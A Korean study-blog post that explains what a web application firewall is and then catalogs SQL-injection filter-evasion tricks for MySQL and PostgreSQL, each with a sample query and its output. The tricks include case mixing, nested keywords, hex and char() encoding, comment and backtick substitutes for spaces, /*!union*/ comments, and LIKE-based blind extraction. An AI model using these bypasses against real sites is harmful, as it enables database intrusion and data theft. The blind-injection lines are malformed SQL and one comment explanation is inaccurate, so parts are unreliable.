[2025-07-16] ByPass WAF

🦥 본문

WAF

정의

Web Application Firewall. 웹 어플리케이션을 보호하기 위한 전용 방화벽

목적

  1. 웹 어플리케이션을 노리는 다양한 공격 차단
  2. HTTP 요청/응답을 검사하여 악성 패턴 탐지
  3. 로깅

동작 방식

  1. 사용자가 웹 서버에 요청
  2. 요청이 WAF를 먼저 통과
  3. WAF가 패턴 분석 후 악성 요청인 경우 차단
  4. 정상 요청만 웹 서버에 전달

WAF 우회

탐지 우회

  • 대소문자 혼용 : SQL 문은 대소문자를 구분하지 않고 실행하기 때문에 대소문자 검사를 우회할 수 있다
    • EX) UNION 키워드를 필터링 하는 경우의 공격
      UnIoN SeLecT 1,2,3
      selECT SlEep(5)
    
  • 공백 치환 우회 : 필터링 시 해당 키워드를 공백으로 치환하는 경우 검사를 우회할 수 있다
    • EX) UNION 키워드, SELECT 키워드를 필터링하여 공백으로 치환하는 경우의 공격
      UNunionION SELselectECT 1,2 --
      # => UNION SELECT 1,2 --  
    
  • reverse, concat 메소드 사용 : reverse나 concat 메소드를 사용하여 문자열 필터링을 우회할 수 있다.
    • EX) reverse(), concat(), 아스키코드를 통한 우회 방법.
      mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
      /*
      +------------------+--------------------+---------------+--------------+
      | reverse('nimda') | concat('adm','in') | x'61646d696e' | 0x61646d696e |
      +------------------+--------------------+---------------+--------------+
      | admin            | admin              | admin         | admin        |
      +------------------+--------------------+---------------+--------------+
      1 row in set (0.00 sec)
      */
    
  • 연산자 검사 우회 : 연산자 키워드 필터링을 연산자 기호를 통해 우회할 수 있다.
    • EX)
      mysql> select 1 || 1;
      /*
      +--------+
      | 1 || 1 |
      +--------+
      |      1 |
      +--------+
      1 row in set (0.00 sec)
      */
    
  • 공백 탐지 검사 우회 : 공백을 허용하는 경우 공격자가 다른 쿼리를 삽입하는 SQLi가 발생할 수 있어서 공백을 탐지하는 경우가 많다. 하지만 주석, Backtick 등을 이용하여 검사를 우회할 수 있다
    • EX) 주석을 통한 우회
      mysql> SELECT/**/'abc';
      /*
      +-----+
      | abc |
      +-----+
      | abc |
      +-----+
      1 row in set (0.00 sec)
      */
    
    • EX) Backtick을 이용한 우회
      mysql> select`username`,(password)from`users`WHERE`username`='admin';
      /*
      +----------+----------------+
      | username | password       |
      +----------+----------------+
      | admin    | admin_password |
      +----------+----------------+
      1 row in set (0.00 sec)
      */
    
  • LIKE를 이용한 Blind SQL injection

      AND LIKE upw='p%'
      AND LIKE upw='pw%'
      ..
      AND LIKE upw='pw1234'
    

MySQL 우회 기법

  • MySQL 진법을 이용한 문자열 검사 우회

      mysql> select 0x6162, 0b110000101100010;
      /*
      +--------+-------------------+
      | 0x6162 | 0b110000101100010 |
      +--------+-------------------+
      | ab     | ab                |
      +--------+-------------------+
      1 row in set (0.00 sec)
      */
    
  • 메소드를 이용한 문자열 검사 우회

      mysql> select char(0x61, 0x62);
      /*
      +------------------+
      | char(0x61, 0x62) |
      +------------------+
      | ab               |
      +------------------+
      1 row in set (0.00 sec)
      */
      mysql> select concat(char(0x61), char(0x62));
      /*
      +--------------------------------+
      | concat(char(0x61), char(0x62)) |
      +--------------------------------+
      | ab                             |
      +--------------------------------+
      */
    
  • MySQL 가젯을 이용한 문자열 검사 우회
    • 가젯 : 함수 또는 표현식 중 공격에 활용 가능한 함수 조합 또는 우회 도구
      mysql> select mid(@@version,12,1);
      /*
      +---------------------+
      | mid(@@version,12,1) |
      +---------------------+
      | n                   |
      +---------------------+
      */
    
  • 개행을 이용한 공백 검사 우회

      mysql> select
          -> 1;
      /*
      +---+
      | 1 |
      +---+
      | 1 |
      +---+
      */
    
  • 주석을 이용한 공백 검사 우회

      mysql> select/**/1;
      /*
      +---+
      | 1 |
      +---+
      | 1 |
      +---+
      */
    
  • WAF 주석을 이용한 우회 : /**/는 WAF에서는 주석이지만 SQL에서는 실행된다.

      mysql> select 1 /*!union*/ select 2;
      /*
      +---+
      | 1 |
      +---+
      | 1 |
      | 2 |
      +---+
      2 rows in set (0.00 sec)
      */
    

PostgreSQL 우회 기법

  • 메소드를 이용한 문자열 검사 우회

      postgres=> select concat(chr(65), chr(66));
      /*
       concat
      --------
       AB
      */
    
  • 가젯을 이용한 문자열 검사 우회

      postgres=> select substring(version(),23,1);
      /*
       substring
      -----------
       n
      */
    
  • 개행을 이용한 공백 검사 우회

      postgres=> select
      1;
      /*
       ?column?
      ----------
              1
      */
    
  • 주석을 이용한 공백 검사 우회

      postgres=> select/**/1;
      /*
       ?column?
      ----------
              1
      */
    

Categories:

Updated:

Leave a comment